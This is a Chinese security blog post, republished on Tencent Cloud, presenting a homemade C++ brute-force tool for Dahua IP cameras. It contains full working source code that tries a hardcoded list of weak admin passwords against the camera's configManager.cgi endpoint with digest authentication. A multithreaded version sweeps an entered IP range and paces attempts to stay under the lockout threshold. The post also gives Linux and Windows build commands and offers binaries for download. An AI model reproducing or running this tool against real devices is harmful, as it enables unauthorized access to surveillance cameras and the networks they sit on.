首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >大华摄像头暴破工具bruteforceCamera

大华摄像头暴破工具bruteforceCamera

作者头像
白帽子安全笔记
发布2024-10-28 12:55:03
发布2024-10-28 12:55:03
82650
代码可运行
举报
运行总次数:0
代码可运行

Part1 前言

大家好,我是余老师。今天有小伙伴有需求,所以写了个小工具,用于摄像头密码爆破。文末会给出下载地址,后续有需求会持续更新版本。

Part2 原因

  • 漏洞扫描nexpose

反馈nessus无法扫描出摄像头密码,摄像头密码是已知的,我随即推荐了nexpose,经过多次测试不同内置规则发现居然扫不出来弱密码。

  • 渗透工具Msfpro

没关系,我们掏出msfpro, 采用msf中的暴力破解模块,对80端口暴破,奇怪的是同样没有成功,即使手动设置了正确的用户名和密码字典。

  • 其他开源工具

到github搜索一番,发现无合适资源。

Part3 手搓工具

直接用C++就地手搓一个,单机初版代码

check_passwords.cpp

代码语言:javascript
代码运行次数:0
运行
复制
#include <iostream>
#include <vector>
#include <curl/curl.h>
#include <string>

// 摄像头的IP地址和端口
const std::string camera_ip = "192.168.1.108";
const std::string camera_port = "80";

// 常见的弱口令
const std::vector<std::pair<std::string, std::string>> weak_passwords = {
    {"admin", "admin@123!"},
    {"admin", "admin123456"},
    {"admin", "admin123"},
    {"admin", "qazwsx!1"},
    {"admin", "admin@12"},
};

size_t WriteCallback(void* contents, size_t size, size_t nmemb, void* userp)
{
    ((std::string*)userp)->append((char*)contents, size * nmemb);
    return size * nmemb;
}

bool check_weak_password(const std::string& ip, const std::string& port, const std::string& username, const std::string& password)
{
    CURL* curl;
    CURLcode res;
    std::string readBuffer;

    curl = curl_easy_init();
    if(curl) {
        std::string url = "http://" + ip + ":" + port + "/cgi-bin/configManager.cgi?action=getConfig&name=Network";

        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer);
        curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
        curl_easy_setopt(curl, CURLOPT_USERNAME, username.c_str());
        curl_easy_setopt(curl, CURLOPT_PASSWORD, password.c_str());

        res = curl_easy_perform(curl);
        
        if(res == CURLE_OK) {
            long response_code;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
            if (response_code == 200) {
                curl_easy_cleanup(curl);
                return true;
            }
        }
        curl_easy_cleanup(curl);
    }
    return false;
}

int main()
{
    for (const auto& cred : weak_passwords) {
        const std::string& username = cred.first;
        const std::string& password = cred.second;
        
        if (check_weak_password(camera_ip, camera_port, username, password)) {
            std::cout << "Weak password found! Username: " << username << ", Password: " << password << std::endl;
            return 0;
        }
    }
    std::cout << "No weak passwords found." << std::endl;
    return 0;
}
  • 在kali中编译
代码语言:javascript
代码运行次数:0
运行
复制
apt-get install libcurl4-openssl-dev
g++ -std=c++11 -o check_passwords check_passwords.cpp -lcurl -lstdc++ -lpthread
  • 在kali中运行
代码语言:javascript
代码运行次数:0
运行
复制
./checkpassowrds
  • 在kali运行效果

成功爆破密码admin123

Part4 改进

很显然,目前IP是写死的在代码中,无法批量爆破,另外在爆破时由于间隔短导致无法爆破成功,以及线程停止等问题,需要继续改进。

check_passwords2.cpp

代码语言:javascript
代码运行次数:0
运行
复制
#include <iostream>
#include <vector>
#include <curl/curl.h>
#include <string>
#include <thread>
#include <mutex>
#include <chrono>

// 默认的摄像头管理端口
const std::string default_port = "80";

// 常见的弱口令
const std::vector<std::pair<std::string, std::string>> weak_passwords = {
    {"admin", "admin@123!"},
    {"admin", "admin123456"},
    {"admin", "admin123"},
    {"admin", "qazwsx!1"},
    {"admin", "admin@12"},
};

std::mutex print_mutex;

size_t WriteCallback(void* contents, size_t size, size_t nmemb, void* userp)
{
    ((std::string*)userp)->append((char*)contents, size * nmemb);
    return size * nmemb;
}

bool check_weak_password(const std::string& ip, const std::string& port, const std::string& username, const std::string& password)
{
    CURL* curl;
    CURLcode res;
    std::string readBuffer;

    curl = curl_easy_init();
    if(curl) {
        std::string url = "http://" + ip + ":" + port + "/cgi-bin/configManager.cgi?action=getConfig&name=Network";

        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer);
        curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
        curl_easy_setopt(curl, CURLOPT_USERNAME, username.c_str());
        curl_easy_setopt(curl, CURLOPT_PASSWORD, password.c_str());

        res = curl_easy_perform(curl);

        if(res == CURLE_OK) {
            long response_code;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
            if (response_code == 200) {
                curl_easy_cleanup(curl);
                return true;
            } else {
                std::lock_guard<std::mutex> lock(print_mutex);
                std::cout << "Failed attempt on " << ip << " with Username: " << username << ", Password: " << password << ". HTTP Response code: " << response_code << std::endl;
            }
        } else {
            std::lock_guard<std::mutex> lock(print_mutex);
            std::cout << "Curl perform failed on " << ip << " with Username: " << username << ", Password: " << password << ". Error: " << curl_easy_strerror(res) << std::endl;
        }
        curl_easy_cleanup(curl);
    }
    return false;
}

void scan_ip(const std::string& ip, const std::string& port) {
    for (const auto& cred : weak_passwords) {
        const std::string& username = cred.first;
        const std::string& password = cred.second;

        if (check_weak_password(ip, port, username, password)) {
            std::lock_guard<std::mutex> lock(print_mutex);
            std::cout << "Weak password found on " << ip << "! Username: " << username << ", Password: " << password << std::endl;
            return;
        }
        // 添加间隔时间,防止过快的连续请求
        std::this_thread::sleep_for(std::chrono::milliseconds(500)); // 500毫秒的延迟
    }
    std::lock_guard<std::mutex> lock(print_mutex);
    std::cout << "No weak passwords found on " << ip << "." << std::endl;
}

int main()
{
    std::string ip_start, ip_end;

    std::cout << "Enter the starting IP address: ";
    std::cin >> ip_start;
    std::cout << "Enter the ending IP address: ";
    std::cin >> ip_end;

    unsigned int start[4], end[4];
    sscanf(ip_start.c_str(), "%u.%u.%u.%u", &start[0], &start[1], &start[2], &start[3]);
    sscanf(ip_end.c_str(), "%u.%u.%u.%u", &end[0], &end[1], &end[2], &end[3]);

    std::vector<std::thread> threads;

    for (unsigned int i = start[0]; i <= end[0]; ++i) {
        for (unsigned int j = start[1]; j <= end[1]; ++j) {
            for (unsigned int k = start[2]; k <= end[2]; ++k) {
                for (unsigned int l = start[3]; l <= end[3]; ++l) {
                    char ip[16];
                    snprintf(ip, sizeof(ip), "%u.%u.%u.%u", i, j, k, l);
                    threads.emplace_back(scan_ip, std::string(ip), default_port);
                }
            }
        }
    }

    for (auto& thread : threads) {
        thread.join();
    }

    return 0;
}
  • 在kali中运行

发现运行良好,符合预期设计

Part5 开发windows版

小伙伴说linux用起来不方便,需要做一个windows的,那咱们继续

linux采用的gcc编译,windows得采用x86_64-w64-mingw32-g++,那就得装mingw64,开启做免杀的虚拟机,里面有各种环境

  • windows中编译

进入mingw64目录编译之

代码语言:javascript
代码运行次数:0
运行
复制
x86_64-w64-mingw32-g++ -std=c++11 -o check_passwords.exe check_passwords2.cpp -lcurl -lstdc++ -lpthread

发现缺少curl库,下载之

代码语言:javascript
代码运行次数:0
运行
复制
https://curl.se/windows/

然后指定curl库,最终编译命令如下

代码语言:javascript
代码运行次数:0
运行
复制
x86_64-w64-mingw32-g++ -std=c++11 -I C:\Users\user3\Desktop\curl-8.8.0_2-win64-mingw\include -L C:\Users\user3\Desktop\curl-8.8.0_2-win64-mingw\lib -o check_passwords.exe check_passwords2.cpp -lcurl -lpthread
  • windows中运行

符合预期设计

  • 缺少dll

当发给小伙伴时,发现缺少库

搜索mingw64目录,把缺少的dll发过去,当前目录打开cmd运行check_passwords.exe,执行成功

关注公众号"白帽子安全笔记”,回复“bruteforceCamera”,下载win+linux版本编译文件和源代码。

Part3 总结

1. 密码不易过多,超过6次会锁定一会,因此密码没有放很多

代码语言:javascript
代码运行次数:0
运行
复制
// 默认的摄像头管理端口
const std::string default_port = "80";

// 常见的弱口令
const std::vector<std::pair<std::string, std::string>> weak_passwords = {
    {"admin", "admin@123!"},
    {"admin", "admin123456"},
    {"admin", "admin123"},
    {"admin", "qazwsx!1"},
    {"admin", "admin@12"},
};

2. 密码长度要求:从后台看出,admin是默认设置了锁定机制的,长度最短为8位

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白帽子安全笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Part1 前言
  • Part2 原因
  • Part3 手搓工具
  • Part4 改进
  • Part5 开发windows版
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档